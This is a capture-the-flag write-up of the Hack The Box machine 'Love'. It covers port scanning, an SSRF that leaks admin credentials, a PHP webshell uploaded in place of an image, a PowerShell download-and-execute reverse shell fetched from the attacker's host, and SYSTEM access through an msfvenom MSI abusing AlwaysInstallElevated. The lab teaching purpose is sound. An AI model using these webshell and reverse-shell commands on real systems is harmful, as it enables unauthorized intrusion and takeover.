Love Writeup

31 October 2022 #CTF #HTB #box #easy #windows

love info


You know it, you love it: nmap:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5000/tcp  open  upnp
5040/tcp  open  unknown
5985/tcp  open  wsman
5986/tcp  open  wsmans
7680/tcp  open  pando-pub
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject:
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPBindReq, LDAPSearchReq, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie: 
|_    Host '' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2022-10-31T14:54:43+00:00; +21m32s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Host script results:
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-10-31T07:54:32-07:00
|_clock-skew: mean: 2h06m33s, deviation: 3h30m01s, median: 21m32s
| smb2-time: 
|   date: 2022-10-31T14:54:31
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required


We can't list shares anonymously:

$ smbclient -N -L
session setup failed: NT_STATUS_ACCESS_DENIED

Nice try tho.


Port 443

We just get a Forbidden page with https:

403 on HTTPS

It responds with 403 on a page that doesn't exist so we can't really gobuster it...

What's interesting is the certificate leaks a hostname (as nmap told us). We can view it manually in firefox by using the ctrl+i shortcut -> Security -> View Certificate:

view certificate in firefox

Port 5000

Same thing on port 5000:

403 on port 5000

Port 80

Browsing to we get this page:

voting system

It says that it is using php. Let's start a gobuster:

$ gobuster dir -u -x php,txt -o enum/80-root.dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
/admin               (Status: 301)[Size: 337] [-->]
/images              (Status: 301)[Size: 338] [-->]
/includes            (Status: 301)[Size: 340] [-->]
/login.php           (Status: 302)[Size: 0] [--> index.php]
/plugins             (Status: 301)[Size: 339] [-->]
/index.php           (Status: 200)[Size: 4388]
/logout.php          (Status: 302)[Size: 0] [--> index.php]
/home.php            (Status: 302)[Size: 0] [--> index.php]
/.                   (Status: 200)[Size: 4388]
/preview.php         (Status: 302)[Size: 0] [--> index.php]
/examples            (Status: 503)[Size: 402]
/dist                (Status: 301)[Size: 336] [-->]
/tcpdf               (Status: 301)[Size: 337] [-->]

I filtered out every 403 response.

We can use a lowercase wordlist because it is a windows box so the file names are case insensitive.

There is a SQL injection in /login.php:

SQLi in login.php

It is however a time-based blind injection, so quite painful to exploit so we won't be using this (spoiler: we won't need it).

We have a different page when using the newly found hostname with http:

Free File Scanner still gives a 403 Forbidden.

The sign up form does nothing (it just sends a GET request without parameters to /).

Clicking on 'Demo' we access a page that can scan urls:

SSRF voting system

Pretty interesting to see that it returned the Voting System page, confirming this is a SSRF vulnerability.

We can try different ports to see if we still get a 403 Forbidden. Eventually port 5000 returns something juicy:

SSRF port 5000

Apache must have been configured to only allow locahost to access port 5000.


Our gobuster scan told us about a /admin/ directory. We can login with the creds we got from the SSRF:

admin dashboard

On the 'Voters' page, we can create a new voter:

add a new voter

It asks for an image. Let's give it a simple php webshell instead:

$ echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php

Then submit it. It gives no errors:

no error after submiting new voter

We can check in /images/ if our webshell as been successfuly uploaded:

images directory listing

Looking good. We can execute commands:

whoami webshell

Let's get a reverse shell now. We'll use nishang's Invoke-PowerShellTcp.ps1:

$ mkdir www
$ cd www
$ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
$ echo 'Invoke-PowerShellTcp -Reverse -IPAddress -Port 4242' >> rev.ps1
$ python -m http.server
Serving HTTP on port 8000 ( ...

Now we can go back to our webshell and use this command:

powershell IEX(New-Object Net.WebClient).downloadString('')

This will use powershell to make a request to our local webserver to download and execute our reverse shell script.

reverse shell command


After some manual enumeration, nothing interesting comes up. Time for winpeas. Grab the latest, transfer it to the target box with the python webserver technique and execute it.

The output is HUGE but the most interesting finding is this:

 [+] AlwaysInstallElevated?
   [i] If '1' then you can install a .msi file with admin privileges ;)

    AlwaysInstallElevated    REG_DWORD    0x1

    AlwaysInstallElevated    REG_DWORD    0x1

The fact that these 2 registers are set to 1 means any user can install msi files as administrator. Pretty bad (or good, depends how you see it...).

Generate a malicious msi file:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -f msi -o hehe.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: hehe.msi

shell_reverse_tcp is a stageless payload, meaning we can catch it using a standard nc listener whereas staged payloads require the exploit/multi/handler metasploit module.

Transfer it to the target box using the same technique as previously.

We can use this command to install the malicious msi:

PS C:\users\phoebe\downloads> cmd /c "msiexec /quiet /qn /i hehe.msi"

If all went swimingly, we should get a hit on our nc listener and get a reverse shell as NT AUTHORITY\SYSTEM.

Key Takeaways